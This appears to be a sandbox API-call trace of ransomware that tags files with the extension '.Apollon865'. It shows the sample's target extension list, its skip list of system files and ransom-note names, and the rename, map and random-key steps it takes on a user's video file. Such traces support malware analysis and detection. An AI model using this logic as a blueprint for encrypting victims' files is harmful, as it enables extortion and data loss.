	[0086.307] lstrlenW (lpString="sqlite") returned 6
	[0086.307] lstrcmpiW (lpString1="Wp.mp4", lpString2="sqlite") returned 1
	[0086.307] lstrlenW (lpString="sqlite3") returned 7
	[0086.307] lstrcmpiW (lpString1="SWp.mp4", lpString2="sqlite3") returned 1
	[0086.307] lstrlenW (lpString="sqlitedb") returned 8
	[0086.308] lstrcmpiW (lpString1=" SWp.mp4", lpString2="sqlitedb") returned -1
	[0086.308] lstrlenW (lpString="xml") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1
	[0086.308] lstrlenW (lpString="$er") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1
	[0086.308] lstrlenW (lpString="4dd") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1
	[0086.308] lstrlenW (lpString="4dl") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1
	[0086.308] lstrlenW (lpString="^^^") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1
	[0086.308] lstrlenW (lpString="abs") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1
	[0086.308] lstrlenW (lpString="abx") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1
	[0086.308] lstrlenW (lpString="accdb") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accdb") returned 1
	[0086.308] lstrlenW (lpString="accdc") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accdc") returned 1
	[0086.308] lstrlenW (lpString="accde") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accde") returned 1
	[0086.308] lstrlenW (lpString="accdr") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accdr") returned 1
	[0086.308] lstrlenW (lpString="accdt") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accdt") returned 1
	[0086.308] lstrlenW (lpString="accdw") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accdw") returned 1
	[0086.308] lstrlenW (lpString="accft") returned 5
	[0086.308] lstrcmpiW (lpString1="p.mp4", lpString2="accft") returned 1
	[0086.308] lstrlenW (lpString="adb") returned 3
	[0086.308] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.309] lstrlenW (lpString="adb") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.309] lstrlenW (lpString="ade") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1
	[0086.309] lstrlenW (lpString="adf") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1
	[0086.309] lstrlenW (lpString="adn") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1
	[0086.309] lstrlenW (lpString="adp") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1
	[0086.309] lstrlenW (lpString="alf") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1
	[0086.309] lstrlenW (lpString="ask") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1
	[0086.309] lstrlenW (lpString="btr") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1
	[0086.309] lstrlenW (lpString="cat") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1
	[0086.309] lstrlenW (lpString="cdb") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1
	[0086.309] lstrlenW (lpString="ckp") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1
	[0086.309] lstrlenW (lpString="cma") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1
	[0086.309] lstrlenW (lpString="cpd") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1
	[0086.309] lstrlenW (lpString="dacpac") returned 6
	[0086.309] lstrcmpiW (lpString1="Wp.mp4", lpString2="dacpac") returned 1
	[0086.309] lstrlenW (lpString="dad") returned 3
	[0086.309] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1
	[0086.309] lstrlenW (lpString="dadiagrams") returned 10
	[0086.309] lstrcmpiW (lpString1="wS SWp.mp4", lpString2="dadiagrams") returned 1
	[0086.309] lstrlenW (lpString="daschema") returned 8
	[0086.310] lstrcmpiW (lpString1=" SWp.mp4", lpString2="daschema") returned -1
	[0086.310] lstrlenW (lpString="db-journal") returned 10
	[0086.310] lstrcmpiW (lpString1="wS SWp.mp4", lpString2="db-journal") returned 1
	[0086.310] lstrlenW (lpString="db-shm") returned 6
	[0086.310] lstrcmpiW (lpString1="Wp.mp4", lpString2="db-shm") returned 1
	[0086.310] lstrlenW (lpString="db-wal") returned 6
	[0086.310] lstrcmpiW (lpString1="Wp.mp4", lpString2="db-wal") returned 1
	[0086.310] lstrlenW (lpString="dbc") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1
	[0086.310] lstrlenW (lpString="dbs") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1
	[0086.310] lstrlenW (lpString="dbt") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1
	[0086.310] lstrlenW (lpString="dbv") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1
	[0086.310] lstrlenW (lpString="dbx") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1
	[0086.310] lstrlenW (lpString="dcb") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1
	[0086.310] lstrlenW (lpString="dct") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1
	[0086.310] lstrlenW (lpString="dcx") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1
	[0086.310] lstrlenW (lpString="ddl") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="ddl") returned 1
	[0086.310] lstrlenW (lpString="dlis") returned 4
	[0086.310] lstrcmpiW (lpString1=".mp4", lpString2="dlis") returned -1
	[0086.310] lstrlenW (lpString="dp1") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dp1") returned 1
	[0086.310] lstrlenW (lpString="dqy") returned 3
	[0086.310] lstrcmpiW (lpString1="mp4", lpString2="dqy") returned 1
	[0086.310] lstrlenW (lpString="dsk") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="dsk") returned 1
	[0086.311] lstrlenW (lpString="dsn") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="dsn") returned 1
	[0086.311] lstrlenW (lpString="dtsx") returned 4
	[0086.311] lstrcmpiW (lpString1=".mp4", lpString2="dtsx") returned -1
	[0086.311] lstrlenW (lpString="dxl") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="dxl") returned 1
	[0086.311] lstrlenW (lpString="eco") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="eco") returned 1
	[0086.311] lstrlenW (lpString="ecx") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="ecx") returned 1
	[0086.311] lstrlenW (lpString="edb") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="edb") returned 1
	[0086.311] lstrlenW (lpString="epim") returned 4
	[0086.311] lstrcmpiW (lpString1=".mp4", lpString2="epim") returned -1
	[0086.311] lstrlenW (lpString="fcd") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fcd") returned 1
	[0086.311] lstrlenW (lpString="fdb") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fdb") returned 1
	[0086.311] lstrlenW (lpString="fic") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fic") returned 1
	[0086.311] lstrlenW (lpString="flexolibrary") returned 12
	[0086.311] lstrcmpiW (lpString1="2JwS SWp.mp4", lpString2="flexolibrary") returned -1
	[0086.311] lstrlenW (lpString="fm5") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fm5") returned 1
	[0086.311] lstrlenW (lpString="fmp") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fmp") returned 1
	[0086.311] lstrlenW (lpString="fmp12") returned 5
	[0086.311] lstrcmpiW (lpString1="p.mp4", lpString2="fmp12") returned 1
	[0086.311] lstrlenW (lpString="fmpsl") returned 5
	[0086.311] lstrcmpiW (lpString1="p.mp4", lpString2="fmpsl") returned 1
	[0086.311] lstrlenW (lpString="fol") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fol") returned 1
	[0086.311] lstrlenW (lpString="fp3") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fp3") returned 1
	[0086.311] lstrlenW (lpString="fp4") returned 3
	[0086.311] lstrcmpiW (lpString1="mp4", lpString2="fp4") returned 1
	[0086.312] lstrlenW (lpString="fp5") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="fp5") returned 1
	[0086.312] lstrlenW (lpString="fp7") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="fp7") returned 1
	[0086.312] lstrlenW (lpString="fpt") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="fpt") returned 1
	[0086.312] lstrlenW (lpString="frm") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="frm") returned 1
	[0086.312] lstrlenW (lpString="gdb") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.312] lstrlenW (lpString="gdb") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.312] lstrlenW (lpString="grdb") returned 4
	[0086.312] lstrcmpiW (lpString1=".mp4", lpString2="grdb") returned -1
	[0086.312] lstrlenW (lpString="gwi") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="gwi") returned 1
	[0086.312] lstrlenW (lpString="hdb") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="hdb") returned 1
	[0086.312] lstrlenW (lpString="his") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="his") returned 1
	[0086.312] lstrlenW (lpString="ib") returned 2
	[0086.312] lstrcmpiW (lpString1="p4", lpString2="ib") returned 1
	[0086.312] lstrlenW (lpString="idb") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="idb") returned 1
	[0086.312] lstrlenW (lpString="ihx") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="ihx") returned 1
	[0086.312] lstrlenW (lpString="itdb") returned 4
	[0086.312] lstrcmpiW (lpString1=".mp4", lpString2="itdb") returned -1
	[0086.312] lstrlenW (lpString="itw") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="itw") returned 1
	[0086.312] lstrlenW (lpString="jet") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="jet") returned 1
	[0086.312] lstrlenW (lpString="jtx") returned 3
	[0086.312] lstrcmpiW (lpString1="mp4", lpString2="jtx") returned 1
	[0086.313] lstrlenW (lpString="kdb") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="kdb") returned 1
	[0086.313] lstrlenW (lpString="kexi") returned 4
	[0086.313] lstrcmpiW (lpString1=".mp4", lpString2="kexi") returned -1
	[0086.313] lstrlenW (lpString="kexic") returned 5
	[0086.313] lstrcmpiW (lpString1="p.mp4", lpString2="kexic") returned 1
	[0086.313] lstrlenW (lpString="kexis") returned 5
	[0086.313] lstrcmpiW (lpString1="p.mp4", lpString2="kexis") returned 1
	[0086.313] lstrlenW (lpString="lgc") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="lgc") returned 1
	[0086.313] lstrlenW (lpString="lwx") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="lwx") returned 1
	[0086.313] lstrlenW (lpString="maf") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="maf") returned 1
	[0086.313] lstrlenW (lpString="maq") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="maq") returned 1
	[0086.313] lstrlenW (lpString="mar") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="mar") returned 1
	[0086.313] lstrlenW (lpString="marshal") returned 7
	[0086.313] lstrcmpiW (lpString1="SWp.mp4", lpString2="marshal") returned 1
	[0086.313] lstrlenW (lpString="mas") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="mas") returned 1
	[0086.313] lstrlenW (lpString="mav") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="mav") returned 1
	[0086.313] lstrlenW (lpString="maw") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="maw") returned 1
	[0086.313] lstrlenW (lpString="mdbhtml") returned 7
	[0086.313] lstrcmpiW (lpString1="SWp.mp4", lpString2="mdbhtml") returned 1
	[0086.313] lstrlenW (lpString="mdn") returned 3
	[0086.313] lstrcmpiW (lpString1="mp4", lpString2="mdn") returned 1
	[0086.313] lstrlenW (lpString="mdt") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="mdt") returned 1
	[0086.314] lstrlenW (lpString="mfd") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="mfd") returned 1
	[0086.314] lstrlenW (lpString="mpd") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="mpd") returned -1
	[0086.314] lstrlenW (lpString="mrg") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="mrg") returned -1
	[0086.314] lstrlenW (lpString="mud") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="mud") returned -1
	[0086.314] lstrlenW (lpString="mwb") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="mwb") returned -1
	[0086.314] lstrlenW (lpString="myd") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="myd") returned -1
	[0086.314] lstrlenW (lpString="ndf") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="ndf") returned -1
	[0086.314] lstrlenW (lpString="nnt") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="nnt") returned -1
	[0086.314] lstrlenW (lpString="nrmlib") returned 6
	[0086.314] lstrcmpiW (lpString1="Wp.mp4", lpString2="nrmlib") returned 1
	[0086.314] lstrlenW (lpString="ns2") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="ns2") returned -1
	[0086.314] lstrlenW (lpString="ns3") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="ns3") returned -1
	[0086.314] lstrlenW (lpString="ns4") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="ns4") returned -1
	[0086.314] lstrlenW (lpString="nsf") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="nsf") returned -1
	[0086.314] lstrlenW (lpString="nv") returned 2
	[0086.314] lstrcmpiW (lpString1="p4", lpString2="nv") returned 1
	[0086.314] lstrlenW (lpString="nv2") returned 3
	[0086.314] lstrcmpiW (lpString1="mp4", lpString2="nv2") returned -1
	[0086.314] lstrlenW (lpString="nwdb") returned 4
	[0086.315] lstrcmpiW (lpString1=".mp4", lpString2="nwdb") returned -1
	[0086.315] lstrlenW (lpString="nyf") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="nyf") returned -1
	[0086.315] lstrlenW (lpString="odb") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.315] lstrlenW (lpString="odb") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="odb") returned -1
	[0086.315] lstrlenW (lpString="oqy") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="oqy") returned -1
	[0086.315] lstrlenW (lpString="ora") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="ora") returned -1
	[0086.315] lstrlenW (lpString="orx") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="orx") returned -1
	[0086.315] lstrlenW (lpString="owc") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="owc") returned -1
	[0086.315] lstrlenW (lpString="p96") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="p96") returned -1
	[0086.315] lstrlenW (lpString="p97") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="p97") returned -1
	[0086.315] lstrlenW (lpString="pan") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="pan") returned -1
	[0086.315] lstrlenW (lpString="pdb") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="pdb") returned -1
	[0086.315] lstrlenW (lpString="pdm") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="pdm") returned -1
	[0086.315] lstrlenW (lpString="pnz") returned 3
	[0086.315] lstrcmpiW (lpString1="mp4", lpString2="pnz") returned -1
	[0086.316] lstrlenW (lpString="qry") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="qry") returned -1
	[0086.316] lstrlenW (lpString="qvd") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="qvd") returned -1
	[0086.316] lstrlenW (lpString="rbf") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="rbf") returned -1
	[0086.316] lstrlenW (lpString="rctd") returned 4
	[0086.316] lstrcmpiW (lpString1=".mp4", lpString2="rctd") returned -1
	[0086.316] lstrlenW (lpString="rod") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="rod") returned -1
	[0086.316] lstrlenW (lpString="rodx") returned 4
	[0086.316] lstrcmpiW (lpString1=".mp4", lpString2="rodx") returned -1
	[0086.316] lstrlenW (lpString="rpd") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="rpd") returned -1
	[0086.316] lstrlenW (lpString="rsd") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="rsd") returned -1
	[0086.316] lstrlenW (lpString="sas7bdat") returned 8
	[0086.316] lstrcmpiW (lpString1=" SWp.mp4", lpString2="sas7bdat") returned -1
	[0086.316] lstrlenW (lpString="sbf") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="sbf") returned -1
	[0086.316] lstrlenW (lpString="scx") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="scx") returned -1
	[0086.316] lstrlenW (lpString="sdb") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="sdb") returned -1
	[0086.316] lstrlenW (lpString="sdc") returned 3
	[0086.316] lstrcmpiW (lpString1="mp4", lpString2="sdc") returned -1
	[0086.316] lstrlenW (lpString="sdf") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="sdf") returned -1
	[0086.317] lstrlenW (lpString="sis") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="sis") returned -1
	[0086.317] lstrlenW (lpString="spq") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="spq") returned -1
	[0086.317] lstrlenW (lpString="te") returned 2
	[0086.317] lstrcmpiW (lpString1="p4", lpString2="te") returned -1
	[0086.317] lstrlenW (lpString="teacher") returned 7
	[0086.317] lstrcmpiW (lpString1="SWp.mp4", lpString2="teacher") returned -1
	[0086.317] lstrlenW (lpString="tmd") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="tmd") returned -1
	[0086.317] lstrlenW (lpString="tps") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="tps") returned -1
	[0086.317] lstrlenW (lpString="trc") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.317] lstrlenW (lpString="trc") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="trc") returned -1
	[0086.317] lstrlenW (lpString="trm") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="trm") returned -1
	[0086.317] lstrlenW (lpString="udb") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="udb") returned -1
	[0086.317] lstrlenW (lpString="udl") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="udl") returned -1
	[0086.317] lstrlenW (lpString="usr") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="usr") returned -1
	[0086.317] lstrlenW (lpString="v12") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="v12") returned -1
	[0086.317] lstrlenW (lpString="vis") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="vis") returned -1
	[0086.317] lstrlenW (lpString="vpd") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="vpd") returned -1
	[0086.317] lstrlenW (lpString="vvv") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="vvv") returned -1
	[0086.317] lstrlenW (lpString="wdb") returned 3
	[0086.317] lstrcmpiW (lpString1="mp4", lpString2="wdb") returned -1
	[0086.317] lstrlenW (lpString="wmdb") returned 4
	[0086.318] lstrcmpiW (lpString1=".mp4", lpString2="wmdb") returned -1
	[0086.318] lstrlenW (lpString="wrk") returned 3
	[0086.318] lstrcmpiW (lpString1="mp4", lpString2="wrk") returned -1
	[0086.318] lstrlenW (lpString="xdb") returned 3
	[0086.318] lstrcmpiW (lpString1="mp4", lpString2="xdb") returned -1
	[0086.318] lstrlenW (lpString="xld") returned 3
	[0086.318] lstrcmpiW (lpString1="mp4", lpString2="xld") returned -1
	[0086.318] lstrlenW (lpString="xmlff") returned 5
	[0086.318] lstrcmpiW (lpString1="p.mp4", lpString2="xmlff") returned -1
	[0086.318] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mZZcohw0sUK2JwS SWp.mp4.Apollon865") returned 71
	[0086.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mZZcohw0sUK2JwS SWp.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mzzcohw0suk2jws swp.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mZZcohw0sUK2JwS SWp.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mzzcohw0suk2jws swp.mp4.apollon865"), dwFlags=0x1) returned 1
	[0086.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mZZcohw0sUK2JwS SWp.mp4.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mzzcohw0suk2jws swp.mp4.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.319] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=59739) returned 1
	[0086.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.320] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.320] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.320] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.321] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.321] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.321] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xec60, lpName=0x0) returned 0x15c
	[0086.321] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xec60) returned 0x100000
	[0086.323] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.324] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.324] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.325] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.325] CloseHandle (hObject=0x15c) returned 1
	[0086.325] CloseHandle (hObject=0x9c) returned 1
	[0086.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.327] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd322c2b0, ftCreationTime.dwHighDateTime=0x1d4d4a5, ftLastAccessTime.dwLowDateTime=0x981423d0, ftLastAccessTime.dwHighDateTime=0x1d4c596, ftLastWriteTime.dwLowDateTime=0x981423d0, ftLastWriteTime.dwHighDateTime=0x1d4c596, nFileSizeHigh=0x0, nFileSizeLow=0x10786, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QribyyHfWhKB4PKGXpH.mkv", cAlternateFileName="QRIBYY~1.MKV")) returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="..") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="windows") returned -1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="bootmgr") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="temp") returned -1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="pagefile.sys") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="boot") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="ids.txt") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="ntuser.dat") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="perflogs") returned 1
	[0086.327] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2="MSBuild") returned 1
	[0086.327] lstrlenW (lpString="QribyyHfWhKB4PKGXpH.mkv") returned 23
	[0086.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mZZcohw0sUK2JwS SWp.mp4") returned 60
	[0086.328] lstrcpyW (in: lpString1=0x119e652, lpString2="QribyyHfWhKB4PKGXpH.mkv" | out: lpString1="QribyyHfWhKB4PKGXpH.mkv") returned="QribyyHfWhKB4PKGXpH.mkv"
	[0086.328] lstrlenW (lpString="QribyyHfWhKB4PKGXpH.mkv") returned 23
	[0086.328] lstrlenW (lpString="Apollon865") returned 10
	[0086.328] lstrcmpiW (lpString1="PKGXpH.mkv", lpString2="Apollon865") returned 1
	[0086.328] lstrlenW (lpString=".dll") returned 4
	[0086.328] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".dll") returned 1
